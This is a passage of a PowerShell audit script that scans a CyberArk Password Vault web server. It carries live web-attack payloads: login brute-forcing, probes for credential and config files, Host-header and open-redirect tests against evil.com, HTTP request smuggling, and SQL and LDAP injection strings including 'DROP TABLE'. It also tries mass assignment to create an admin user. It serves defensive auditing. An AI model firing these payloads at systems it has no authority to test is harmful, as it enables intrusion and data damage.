-ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -MaximumRedirection 0 -ErrorAction Stop $lockoutTestEndpoint = $endpoint $endpointStatusCode = $testResponse.StatusCode break } catch { $statusCode = $_.Exception.Response.StatusCode.value__ # 302/301 redirect means endpoint doesn't exist on this platform - skip if ($statusCode -eq 302 -or $statusCode -eq 301) { Write-AuditLog "Account lockout endpoint $endpoint redirects - not available on this platform" -Level Debug continue } # 400, 401, 403 indicate the endpoint exists but requires proper auth if ($statusCode -eq 400 -or $statusCode -eq 401 -or $statusCode -eq 403) { $lockoutTestEndpoint = $endpoint $endpointStatusCode = $statusCode break } # 404 means endpoint doesn't exist, try next one } } if (-not $lockoutTestEndpoint) { Add-SkippedCheck -Category "Authentication Security" -CISControl "AUTH5" ` -CheckName "Account Lockout Policy" ` -Reason "No valid login endpoint found - all endpoints redirect or return 404 (may be CyberArk Identity/Cloud with different auth flow)" ` -Type "NotApplicable" } else { $testUsername = "lockout_test_user_$(Get-Random)" $fullEndpointUrl = "$PVWA$lockoutTestEndpoint" try { $lockoutDetected = $false for ($i = 0; $i -lt 15; $i++) { $loginBody = @{ username = $testUsername password = "wrong_password_$i" } | ConvertTo-Json try { $response = Invoke-WebRequest -Uri $fullEndpointUrl -Method POST -Body $loginBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop } catch { if ($_.Exception.Response.StatusCode -eq 429 -or $_.Exception.Message -match "locked|blocked|too many") { $lockoutDetected = $true break } } } if (-not $lockoutDetected) { # Build sample request body for PoC $sampleLoginBody = @{ username = $testUsername password = "wrong_password_15" } | ConvertTo-Json Add-Finding -Category "Authentication Security" ` -CISControl "AUTH5" ` -Finding "Account lockout not triggered after 15 failed attempts" ` -Resource $fullEndpointUrl ` -CurrentValue "No lockout or rate limiting detected" ` -ExpectedValue "Account lockout after 3-5 failed attempts" ` -Recommendation "Implement account lockout policy with progressive delays" ` -Severity "High" ` -RequestMethod "POST" ` -RequestURL $fullEndpointUrl ` -RequestHeaders @{ "Host" = ([uri]$PVWA).Host; "Content-Type" = "application/json"; "User-Agent" = "CyberArk-Security-Audit" } ` -RequestBody $sampleLoginBody ` -ResponseStatus $endpointStatusCode ` -ResponseHeaders @{} ` -ResponseBody "15 consecutive failed login attempts for user '$testUsername' completed without triggering account lockout or rate limiting." } } catch { } } } function Test-InformationDisclosure { <# .SYNOPSIS Tests for information disclosure vulnerabilities #> Write-AuditLog "Testing for Information Disclosure..." -Level Info # Test for backup/config files $sensitiveFiles = @( "/web.config", "/PasswordVault/web.config", "/PasswordVault/web.config.bak", "/PasswordVault/web.config.old", "/PasswordVault/web.config.txt", "/PasswordVault/web.config~", "/.git/config", "/.git/HEAD", "/.svn/entries", "/.env", "/PasswordVault/.env", "/config.json", "/appsettings.json", "/PasswordVault/appsettings.json", "/PasswordVault/connectionstrings.config", "/robots.txt", "/sitemap.xml", "/crossdomain.xml", "/clientaccesspolicy.xml" ) foreach ($file in $sensitiveFiles) { try { $response = Invoke-WebRequest -Uri "$PVWA$file" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200 -and $response.Content.Length -gt 0) { $body = $response.Content $contentType = $response.Headers['Content-Type'] # Check for soft 404/login page responses first if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping $file - detected soft 404/login page" -Level Debug continue } # Get file extension for validation $extension = [System.IO.Path]::GetExtension($file) # Validate that response is actually the expected file type if (-not (Test-IsValidFileResponse -ResponseContent $body -ContentType $contentType -ExpectedExtension $extension)) { Write-AuditLog "Skipping $file - response is HTML/catch-all page, not actual file" -Level Debug continue } $isSensitive = $false $severity = "Low" if ($file -match "\.config|\.env|appsettings|connection") { $isSensitive = $body -match "connectionString|password|secret|apiKey|token" $severity = "Critical" } elseif ($file -match "\.git|\.svn") { $isSensitive = $true $severity = "High" } else { $isSensitive = $true $severity = "Low" } if ($isSensitive) { Add-Finding -Category "Information Disclosure" ` -CISControl "INFO1" ` -Finding "Sensitive file accessible: $file" ` -Resource "$PVWA$file" ` -CurrentValue "File accessible ($($body.Length) bytes)" ` -ExpectedValue "File not accessible (403/404)" ` -Recommendation "Remove or restrict access to sensitive files" ` -Severity $severity } } } catch { } } # Test for version disclosure in responses $versionEndpoints = @( "/PasswordVault/", "/PasswordVault/api/server", "/PasswordVault/api/version", "/PasswordVault/v10/ServerInfo", "/PasswordVault/WebServices/PIMServices.svc" ) foreach ($endpoint in $versionEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Content -match '"version"\s*:\s*"([\d\.]+)"|Version[:\s]+([\d\.]+)|CyberArk\s+([\d\.]+)') { $version = $Matches[1] ?? $Matches[2] ?? $Matches[3] Add-Finding -Category "Information Disclosure" ` -CISControl "INFO2" ` -Finding "CyberArk version disclosed: $version" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Version: $version" ` -ExpectedValue "Version information not exposed" ` -Recommendation "Remove version information from responses" ` -Severity "Low" } } catch { } } # Test for internal path disclosure $pathTriggers = @( "/PasswordVault/nonexistent$(Get-Random).aspx", "/PasswordVault/api/error", "/PasswordVault/'%20OR%20'1'='1" ) foreach ($trigger in $pathTriggers) { try { $response = Invoke-WebRequest -Uri "$PVWA$trigger" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction Stop } catch { # PS7 compatible error body access $errorBody = $_.ErrorDetails.Message if (-not $errorBody -and $_.Exception.Response) { try { if ($_.Exception.Response.Content) { $errorBody = $_.Exception.Response.Content.ReadAsStringAsync().Result } } catch { } } if ($errorBody -match '([A-Z]:\\[^<"\s]+)|(/var/[^<"\s]+)|(/opt/[^<"\s]+)|(/home/[^<"\s]+)') { Add-Finding -Category "Information Disclosure" ` -CISControl "INFO3" ` -Finding "Internal file path disclosed in error" ` -Resource "$PVWA$trigger" ` -CurrentValue "Path exposed: $($Matches[0])" ` -ExpectedValue "Generic error message only" ` -Recommendation "Configure custom error pages without path information" ` -Severity "Medium" break } } } } function Test-NetworkProtocolIssues { <# .SYNOPSIS Tests for network/protocol vulnerabilities (Host header, open redirect, etc.) #> Write-AuditLog "Testing Network/Protocol Issues..." -Level Info # Test Host Header Injection Write-AuditLog "Testing Host Header Injection..." -Level Info $maliciousHosts = @( "evil.com", "localhost", "127.0.0.1", "$([System.Uri]$PVWA).Host.evil.com" ) foreach ($testHost in $maliciousHosts) { try { $headers = @{ "Host" = $testHost } $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method GET -Headers $headers -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.Content -match $testHost -or $response.Headers["Location"] -match $testHost) { Add-Finding -Category "Network Security" ` -CISControl "NET8" ` -Finding "Host header injection vulnerability" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue "Injected host '$testHost' reflected in response" ` -ExpectedValue "Host header validated against whitelist" ` -Recommendation "Validate Host header against allowed hostnames" ` -Severity "Medium" break } } catch { } } # Test Open Redirect Write-AuditLog "Testing for Open Redirect..." -Level Info $redirectParams = @("redirect", "url", "next", "return", "returnUrl", "goto", "destination", "target", "rurl", "redirect_uri") $maliciousUrls = @("https://evil.com", "//evil.com", "https:evil.com", "/\\evil.com", "////evil.com") foreach ($param in $redirectParams) { foreach ($url in $maliciousUrls) { try { $testUrl = "$PVWA/PasswordVault/?$param=$([System.Web.HttpUtility]::UrlEncode($url))" $response = Invoke-WebRequest -Uri $testUrl -Method GET -UseBasicParsing -TimeoutSec 5 -MaximumRedirection 0 -ErrorAction SilentlyContinue if ($response.StatusCode -in @(301, 302, 303, 307, 308)) { $location = $response.Headers["Location"] if ($location -match "evil\.com") { Add-Finding -Category "Network Security" ` -CISControl "NET9" ` -Finding "Open redirect vulnerability via '$param' parameter" ` -Resource "$PVWA/PasswordVault/?$param=" ` -CurrentValue "Redirects to: $location" ` -ExpectedValue "Only internal redirects allowed" ` -Recommendation "Validate redirect URLs against whitelist" ` -Severity "Medium" break } } } catch { } } } # Test HTTP Request Smuggling indicators Write-AuditLog "Testing for HTTP Request Smuggling indicators..." -Level Info # CL.TE test - send conflicting Content-Length and Transfer-Encoding headers try { # First get baseline response for normal POST $baselinePost = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method POST -Body "test=1" -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $smuggleBody = "0`r`n`r`nGET /admin HTTP/1.1`r`nHost: localhost`r`n`r`n" $headers = @{ "Content-Length" = "6" "Transfer-Encoding" = "chunked" } $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/" -Method POST -Headers $headers -Body $smuggleBody -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue $body = $response.Content # Skip false positives: baseline/catch-all responses if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "HTTP smuggling test returned baseline response - likely not vulnerable" -Level Debug } # Only flag if response is significantly different from baseline AND contains smuggled request artifacts elseif ($response.StatusCode -ne $baselinePost.StatusCode -or ($body -match "HTTP/1\.1|localhost|/admin" -and $body -notmatch "<!DOCTYPE|<html")) { Add-Finding -Category "Network Security" ` -CISControl "NET10" ` -Finding "Potential HTTP Request Smuggling (CL.TE)" ` -Resource "$PVWA/PasswordVault/" ` -CurrentValue "Server may process conflicting Content-Length/Transfer-Encoding differently" ` -ExpectedValue "Consistent handling of Content-Length and Transfer-Encoding" ` -Recommendation "Configure reverse proxy to normalize requests. Reject ambiguous requests." ` -Severity "High" ` -RequestMethod "POST" ` -RequestURL "$PVWA/PasswordVault/" ` -RequestHeaders $headers ` -ResponseStatus $response.StatusCode } } catch { Write-AuditLog "Error testing HTTP Request Smuggling: $($_.Exception.Message)" -Level Debug } # Test LDAP Injection in auth Write-AuditLog "Testing for LDAP Injection..." -Level Info $ldapPayloads = @( "admin)(&(password=*))", "admin)(|(password=*))", "*)(uid=*))(|(uid=*", "admin))%00" ) foreach ($payload in $ldapPayloads) { try { $body = @{ username = $payload password = "test" } | ConvertTo-Json $response = Invoke-WebRequest -Uri "$PVWA/PasswordVault/api/auth/logon" -Method POST -Body $body -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $responseBody = $response.Content # Skip if response is a catch-all login page (false positive) if (Test-IsBaselineResponse -ResponseContent $responseBody) { Write-AuditLog "Skipping LDAP injection auth test - response matches baseline catch-all page" -Level Debug continue } # Skip HTML responses (login page redirect, not real API response) $isHtml = $responseBody -match "<!DOCTYPE|<html|<head|<body" if ($isHtml) { Write-AuditLog "Skipping LDAP injection auth test - response is HTML, not API" -Level Debug continue } # Check for LDAP error messages in actual API response if ($responseBody -match "LDAP|ldap|directory|DN=|distinguished name") { Add-Finding -Category "Injection" ` -CISControl "INJ1" ` -Finding "Potential LDAP injection - LDAP error disclosed" ` -Resource "$PVWA/PasswordVault/api/auth/logon" ` -CurrentValue "LDAP-related error message returned" ` -ExpectedValue "Generic authentication error" ` -Recommendation "Sanitize LDAP special characters in auth inputs" ` -Severity "High" break } } catch { } } } function Test-CyberArkSpecificIssues { <# .SYNOPSIS Tests for CyberArk-specific security issues #> Write-AuditLog "Testing CyberArk-Specific Security Issues..." -Level Info # Test CCP (Central Credential Provider) anonymous access Write-AuditLog "Testing CCP anonymous access..." -Level Info $ccpEndpoints = @( "/AIMWebService/api/Accounts", "/AIMWebService/v1.1/aim/accounts", "/AIMWebService/api/Accounts?AppID=test&Safe=test&Object=test", "/AIMWebService/v2/accounts" ) foreach ($endpoint in $ccpEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { $content = $response.Content # Skip if this is a catch-all login page (false positive) if (Test-IsBaselineResponse -ResponseContent $content) { Write-AuditLog "Skipping CCP endpoint $endpoint - response matches baseline catch-all page" -Level Debug continue } # Skip HTML responses (login page redirect) if ($content -match "<!DOCTYPE|<html|<head|<body") { Write-AuditLog "Skipping CCP endpoint $endpoint - response is HTML, not API" -Level Debug continue } # Check if actual credential data returned vs error if ($content -notmatch "error|Error|unauthorized|Unauthorized" -and $content.Length -gt 50) { Add-Finding -Category "CyberArk Security" ` -CISControl "CA1" ` -Finding "CCP endpoint accessible without authentication" ` -Resource "$PVWA$endpoint" ` -CurrentValue "CCP returns data without credentials" ` -ExpectedValue "CCP requires application authentication" ` -Recommendation "Configure CCP with client certificate or IP restrictions" ` -Severity "Critical" break } } } catch { } } # Test for exposed PVWA internal endpoints Write-AuditLog "Testing PVWA internal endpoint exposure..." -Level Info $internalEndpoints = @( "/PasswordVault/api/ComponentsMonitoringDetails", "/PasswordVault/api/Configuration", "/PasswordVault/api/server", "/PasswordVault/api/Platforms", "/PasswordVault/api/LiveSessions", "/PasswordVault/api/RecordingActivities", "/PasswordVault/v10/Configuration/LDAP", "/PasswordVault/v10/Configuration/SAML", "/PasswordVault/API/Accounts?limit=1000", "/PasswordVault/WebServices/PIMServices.svc/Safes" ) foreach ($endpoint in $internalEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { $content = $response.Content # Skip if this is a catch-all login page (false positive) if (Test-IsBaselineResponse -ResponseContent $content) { Write-AuditLog "Skipping internal endpoint $endpoint - response matches baseline catch-all page" -Level Debug continue } # Skip login pages and error responses if ($content -match "<!DOCTYPE|<html|login|Login|Sign in" -and $content -notmatch '"[Ss]afes"|"[Aa]ccounts"|"[Pp]latforms"') { Write-AuditLog "Skipping internal endpoint $endpoint - response is HTML/login page" -Level Debug continue } if ($content.Length -gt 100 -and ($content -match '"[Ss]afes"|"[Aa]ccounts"|"[Pp]latforms"|"[Uu]sers"|"[Cc]onfiguration"|"[Ll]ive[Ss]ession"')) { Add-Finding -Category "CyberArk Security" ` -CISControl "CA2" ` -Finding "Internal PVWA endpoint accessible without auth" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Endpoint returns sensitive data ($($content.Length) bytes)" ` -ExpectedValue "Requires authentication" ` -Recommendation "Ensure all API endpoints require authentication" ` -Severity "High" } } } catch { } } # Test Vault port exposure (1858) Write-AuditLog "Testing Vault port (1858) exposure..." -Level Info $pvwaHost = ([System.Uri]$PVWA).Host try { $tcpClient = New-Object System.Net.Sockets.TcpClient $asyncResult = $tcpClient.BeginConnect($pvwaHost, 1858, $null, $null) $waitResult = $asyncResult.AsyncWaitHandle.WaitOne(3000, $false) if ($waitResult -and $tcpClient.Connected) { $tcpClient.EndConnect($asyncResult) $tcpClient.Close() Add-Finding -Category "CyberArk Security" ` -CISControl "CA3" ` -Finding "Vault port 1858 accessible from scanner network" ` -Resource "${pvwaHost}:1858" ` -CurrentValue "Port 1858 responds to connections" ` -ExpectedValue "Port 1858 firewalled from untrusted networks" ` -Recommendation "Restrict Vault port access to authorized component servers only" ` -Severity "High" } } catch { } # Test PSM RDP port exposure (3389) Write-AuditLog "Testing PSM RDP port (3389) exposure..." -Level Info try { $tcpClient = New-Object System.Net.Sockets.TcpClient $asyncResult = $tcpClient.BeginConnect($pvwaHost, 3389, $null, $null) $waitResult = $asyncResult.AsyncWaitHandle.WaitOne(3000, $false) if ($waitResult -and $tcpClient.Connected) { $tcpClient.EndConnect($asyncResult) $tcpClient.Close() Add-Finding -Category "CyberArk Security" ` -CISControl "CA4" ` -Finding "PSM RDP port 3389 accessible" ` -Resource "${pvwaHost}:3389" ` -CurrentValue "RDP port open to scanner" ` -ExpectedValue "RDP access through PVWA only (HTML5 gateway)" ` -Recommendation "Restrict RDP access via network segmentation. Use HTML5 gateway." ` -Severity "Medium" } } catch { } # Test for exposed credential files Write-AuditLog "Testing for exposed credential files..." -Level Info $credFilePaths = @( "/PasswordVault/credfiles/", "/CredFiles/", "/AppCredentials/", "/.cred", "/PasswordVault/vault.ini", "/vault.ini" ) foreach ($path in $credFilePaths) { try { $response = Invoke-WebRequest -Uri "$PVWA$path" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200 -and $response.Content.Length -gt 0) { $body = $response.Content # First check if this is a soft-404/login page (common false positive) if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping $path - detected soft 404/login page" -Level Debug continue } # Also check if response matches baseline (catch-all SPA page) if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping $path - response matches baseline catch-all page" -Level Debug continue } # Check for actual credential file content (not HTML login page patterns) # Must NOT be HTML and MUST contain credential-related content $isHtml = $body -match "<!DOCTYPE|<html|<head|<body" $hasCredContent = $body -match "\.cred|vault\.ini|\[Vault\]|Password=|Credential|VaultIPAddress" if (-not $isHtml -and $hasCredContent) { Add-Finding -Category "CyberArk Security" ` -CISControl "CA5" ` -Finding "Credential file path accessible: $path" ` -Resource "$PVWA$path" ` -CurrentValue "Path returns content" ` -ExpectedValue "Path not accessible via web" ` -Recommendation "Remove web access to credential file directories" ` -Severity "Critical" } } } catch { } } # Test PSMP SSH recording bypass (CVE-2020 related) Write-AuditLog "Testing for PSMP endpoint exposure..." -Level Info $psmpPorts = @(22, 2222) foreach ($port in $psmpPorts) { try { $tcpClient = New-Object System.Net.Sockets.TcpClient $asyncResult = $tcpClient.BeginConnect($pvwaHost, $port, $null, $null) $waitResult = $asyncResult.AsyncWaitHandle.WaitOne(3000, $false) if ($waitResult -and $tcpClient.Connected) { $tcpClient.EndConnect($asyncResult) # Try to read SSH banner $stream = $tcpClient.GetStream() $stream.ReadTimeout = 3000 $buffer = New-Object byte[] 256 $read = $stream.Read($buffer, 0, 256) $banner = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $read) $tcpClient.Close() if ($banner -match "SSH|PSMP|CyberArk") { Add-Finding -Category "CyberArk Security" ` -CISControl "CA6" ` -Finding "PSMP SSH port accessible: ${pvwaHost}:${port}" ` -Resource "${pvwaHost}:${port}" ` -CurrentValue "SSH banner: $($banner.Trim())" ` -ExpectedValue "PSMP accessed through PVWA only" ` -Recommendation "If PSMP < 11.1, recording bypass may be possible. Upgrade and restrict network access." ` -Severity "Medium" } } } catch { } } } function Test-CA25Bulletins { Write-AuditLog "Checking for CyberArk Security Bulletins (CA25 series)..." -Level Info # CA25-25 - DoS via resource consumption (Secrets Manager SaaS Edge) Write-AuditLog "Testing for CA25-25 (DoS vulnerability)..." -Level Info # CA25-32 - CCP Sensitive Information Disclosure $ccpEndpoints = @( "/AIMWebService/api/Accounts", "/AIMWebService/v1.1/aim/accounts", "/WebServices/PIMServices.svc/Applications" ) foreach ($endpoint in $ccpEndpoints) { try { # Test without authentication $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { $body = $response.Content # Check for soft 404 responses if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping $endpoint - detected soft 404 page" -Level Debug continue } Add-Finding -Category "CVE Assessment" ` -CISControl "CA25-32" ` -Finding "CCP endpoint accessible without authentication (CA25-32 risk)" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Endpoint responds to unauthenticated requests ($($body.Length) bytes)" ` -ExpectedValue "Proper authentication required" ` -Recommendation "Apply patches for CA25-32 and ensure CCP requires authentication" ` -Severity "High" } } catch { } } # CA25-34 - HTML5 Gateway DoS $html5GatewayEndpoints = @( "/guacamole/", "/psmgw/", "/PSMGWService/" ) foreach ($endpoint in $html5GatewayEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 10 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { $body = $response.Content # Check for soft 404 responses if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping $endpoint - detected soft 404 page" -Level Debug continue } Add-Finding -Category "CVE Assessment" ` -CISControl "CA25-34" ` -Finding "HTML5 Gateway endpoint detected (CA25-34 - verify patched)" ` -Resource "$PVWA$endpoint" ` -CurrentValue "HTML5 Gateway accessible ($($body.Length) bytes)" ` -ExpectedValue "Patched version 14.6 or later" ` -Recommendation "Verify HTML5 Gateway is patched for CA25-34 DoS vulnerability" ` -Severity "Medium" } } catch { } } # CA25-35 - PSM-SSH Race Condition DoS $psmSshPorts = @(22, 2022, 22022) $pvwaHost = ([System.Uri]$PVWA).Host foreach ($port in $psmSshPorts) { try { $tcpClient = New-Object System.Net.Sockets.TcpClient $asyncResult = $tcpClient.BeginConnect($pvwaHost, $port, $null, $null) $wait = $asyncResult.AsyncWaitHandle.WaitOne(1000) if ($wait -and $tcpClient.Connected) { $tcpClient.Close() Add-Finding -Category "CVE Assessment" ` -CISControl "CA25-35" ` -Finding "PSM-SSH port open (CA25-35 - verify patched)" ` -Resource "${pvwaHost}:${port}" ` -CurrentValue "SSH port accessible" ` -ExpectedValue "Patched version 14.6.1 or later" ` -Recommendation "Verify PSM-SSH is patched for CA25-35 race condition DoS" ` -Severity "Medium" } } catch { } finally { if ($tcpClient) { $tcpClient.Close() } } } } #====================================================================== # API SECURITY CHECKS #====================================================================== function Test-APISecurity { Write-AuditLog "Testing API security controls..." -Level Info # Test for broken object level authorization (BOLA/IDOR) try { Test-BOLA } catch { Add-SkippedCheck -Category "API Security" -CISControl "API3" -CheckName "BOLA/IDOR Testing" -Reason "Error: $($_.Exception.Message)" -Type "Error" } # Test for mass assignment vulnerabilities try { Test-MassAssignment } catch { Add-SkippedCheck -Category "API Security" -CISControl "API4" -CheckName "Mass Assignment Testing" -Reason "Error: $($_.Exception.Message)" -Type "Error" } # Test for injection vulnerabilities try { Test-APIInjection } catch { Add-SkippedCheck -Category "API Security" -CISControl "API2" -CheckName "Injection Testing" -Reason "Error: $($_.Exception.Message)" -Type "Error" } # Test API versioning security try { Test-APIVersioning } catch { Add-SkippedCheck -Category "API Security" -CISControl "API5" -CheckName "API Versioning" -Reason "Error: $($_.Exception.Message)" -Type "Error" } } function Test-BOLA { Write-AuditLog "Testing for Broken Object Level Authorization (BOLA)..." -Level Info # Try to access resources with modified IDs $bolaEndpoints = @( "/PasswordVault/api/Accounts/1", "/PasswordVault/api/Accounts/0", "/PasswordVault/api/Accounts/-1", "/PasswordVault/api/Accounts/999999", "/PasswordVault/api/Users/1", "/PasswordVault/api/Users/Administrator", "/PasswordVault/api/Safes/System", "/PasswordVault/api/Safes/VaultInternal" ) foreach ($endpoint in $bolaEndpoints) { try { $response = Invoke-WebRequest -Uri "$PVWA$endpoint" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue if ($response.StatusCode -eq 200) { $body = $response.Content # Check for soft 404 responses if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping $endpoint - detected soft 404/login page" -Level Debug continue } # Check for baseline catch-all response if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping $endpoint - response matches baseline catch-all page" -Level Debug continue } # Must be actual API response (JSON), not HTML $isHtml = $body -match "<!DOCTYPE|<html|<head|<body" if ($isHtml) { Write-AuditLog "Skipping $endpoint - response is HTML, not API" -Level Debug continue } Add-Finding -Category "API Security" ` -CISControl "API3" ` -Finding "Potential BOLA/IDOR vulnerability" ` -Resource "$PVWA$endpoint" ` -CurrentValue "Resource accessible without authentication ($($body.Length) bytes)" ` -ExpectedValue "401/403 Unauthorized" ` -Recommendation "Implement proper authorization checks" ` -Severity "High" } } catch { } } } function Test-MassAssignment { Write-AuditLog "Testing for mass assignment vulnerabilities..." -Level Info # Attempt to include admin-level properties in requests $massAssignmentPayloads = @( @{ Endpoint = "/PasswordVault/api/Users"; Method = "POST"; Body = @{ username = "testuser"; isAdmin = $true; vaultAuthorization = @("AddSafes", "ManageServerFileCategories") } }, @{ Endpoint = "/PasswordVault/api/Accounts"; Method = "POST"; Body = @{ name = "test"; secretType = "password"; privileged = $true } } ) foreach ($payload in $massAssignmentPayloads) { try { $jsonBody = $payload.Body | ConvertTo-Json $response = Invoke-WebRequest -Uri "$PVWA$($payload.Endpoint)" -Method $payload.Method -Body $jsonBody -ContentType "application/json" -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $responseBody = $response.Content # Check for false positives - if it's a login page or baseline response, skip if (Test-IsSoft404Response -ResponseContent $responseBody) { Write-AuditLog "Skipping mass assignment test $($payload.Endpoint) - detected soft 404/login page" -Level Debug continue } if (Test-IsBaselineResponse -ResponseContent $responseBody) { Write-AuditLog "Skipping mass assignment test $($payload.Endpoint) - response matches baseline catch-all page" -Level Debug continue } # Must be actual API response (JSON), not HTML $isHtml = $responseBody -match "<!DOCTYPE|<html|<head|<body" if ($isHtml) { Write-AuditLog "Skipping mass assignment test $($payload.Endpoint) - response is HTML, not API" -Level Debug continue } # If we get anything other than 401/403, flag it (and it's a real API response) if ($response.StatusCode -notin @(401, 403, 400)) { Add-Finding -Category "API Security" ` -CISControl "API4" ` -Finding "Potential mass assignment vulnerability" ` -Resource "$PVWA$($payload.Endpoint)" ` -CurrentValue "Privileged properties accepted" ` -ExpectedValue "Privileged properties rejected" ` -Recommendation "Implement strict input validation and property whitelisting" ` -Severity "High" } } catch { } } } function Test-APIInjection { Write-AuditLog "Testing for API injection vulnerabilities..." -Level Info # SQL Injection patterns $sqlInjectionPayloads = @( "/PasswordVault/api/Accounts?search=' OR '1'='1", "/PasswordVault/api/Accounts?search=1; DROP TABLE accounts--", "/PasswordVault/api/Safes?search=' UNION SELECT * FROM users--", "/PasswordVault/api/Users?search=admin'--" ) foreach ($payload in $sqlInjectionPayloads) { try { $response = Invoke-WebRequest -Uri "$PVWA$payload" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Check for false positives - if it's a login page or baseline response, skip if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping SQL injection test $payload - detected soft 404/login page" -Level Debug continue } if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping SQL injection test $payload - response matches baseline catch-all page" -Level Debug continue } # Must be actual API response (JSON), not HTML $isHtml = $body -match "<!DOCTYPE|<html|<head|<body" if ($isHtml) { Write-AuditLog "Skipping SQL injection test $payload - response is HTML, not API" -Level Debug continue } # Check for SQL error messages in actual API response if ($body -match "SQL|syntax|mysql|oracle|postgresql|sqlite") { Add-Finding -Category "API Security" ` -CISControl "API2" ` -Finding "Potential SQL injection vulnerability" ` -Resource "$PVWA$payload" ` -CurrentValue "SQL error/syntax message in response" ` -ExpectedValue "Generic error message" ` -Recommendation "Use parameterized queries and input validation" ` -Severity "Critical" } } catch { # PS7 compatible error body access $errorBody = $_.ErrorDetails.Message if (-not $errorBody -and $_.Exception.Response) { try { if ($_.Exception.Response.Content) { $errorBody = $_.Exception.Response.Content.ReadAsStringAsync().Result } } catch { } } # Check error body is not HTML catch-all page if ($errorBody -and $errorBody -notmatch "<!DOCTYPE|<html" -and $errorBody -match "SQL|syntax|mysql|oracle") { Add-Finding -Category "API Security" ` -CISControl "API2" ` -Finding "SQL injection error disclosure" ` -Resource "$PVWA$payload" ` -CurrentValue "SQL error in error response" ` -ExpectedValue "Generic error" ` -Recommendation "Implement proper error handling" ` -Severity "Critical" } } } # LDAP Injection patterns $ldapInjectionPayloads = @( "/PasswordVault/api/Users?search=*)(uid=*))(|(uid=*", "/PasswordVault/api/Users?search=admin)(&(password=*))" ) foreach ($payload in $ldapInjectionPayloads) { try { $response = Invoke-WebRequest -Uri "$PVWA$payload" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue $body = $response.Content # Check for false positives if (Test-IsSoft404Response -ResponseContent $body) { Write-AuditLog "Skipping LDAP injection test $payload - detected soft 404/login page" -Level Debug continue } if (Test-IsBaselineResponse -ResponseContent $body) { Write-AuditLog "Skipping LDAP injection test $payload - response matches baseline catch-all page" -Level Debug continue } # Must be actual API response (JSON), not HTML $isHtml = $body -match "<!DOCTYPE|<html|<head|<body" if ($isHtml) { Write-AuditLog "Skipping LDAP injection test $payload - response is HTML, not API" -Level Debug continue } if ($response.StatusCode -eq 200 -and $body.Length -gt 100) { Add-Finding -Category "API Security" ` -CISControl "API2" ` -Finding "Potential LDAP injection vulnerability" ` -Resource "$PVWA$payload" ` -CurrentValue "LDAP query accepted malformed input" ` -ExpectedValue "Input validation error" ` -Recommendation "Implement LDAP input sanitization" ` -Severity "High" } } catch { } } } function Test-APIVersioning { Write-AuditLog "Testing API versioning security..." -Level Info # Check for deprecated/vulnerable API versions $apiVersions = @( @{ Path = "/PasswordVault/WebServices/PIMServices.svc"; Version = "SOAP (deprecated)"; Severity = "Medium" }, @{ Path = "/PasswordVault/API/"; Version = "Legacy REST"; Severity = "Low" }, @{ Path = "/PasswordVault/api/v1/"; Version = "v1 (old)"; Severity = "Low" }, @{ Path = "/PasswordVault/api/v9/"; Version = "v9"; Severity = "Info" }, @{ Path = "/PasswordVault/api/v10/"; Version = "v10"; Severity = "Info" }, @{ Path = "/PasswordVault/api/v11/"; Version = "v11"; Severity = "Info" }, @{ Path = "/PasswordVault/api/v12/"; Version = "v12 (current)"; Severity = "Info" } ) foreach ($api in $apiVersions) { try { $response = Invoke-WebRequest -Uri "$PVWA$($api.Path)" -Method GET -UseBasicParsing -TimeoutSec 5 -ErrorAction SilentlyContinue # 401 means endpoint exists but requires auth - this is a valid detection # For 200 responses, check for soft 404 to avoid false positives $isValidEndpoint = $false if ($response.StatusCode -eq 401) { $isValidEndpoint = $true } elseif ($response.StatusCode -eq 200) { $body = $response.Content if (-not (Test-IsSoft404Response -ResponseContent $body)) { 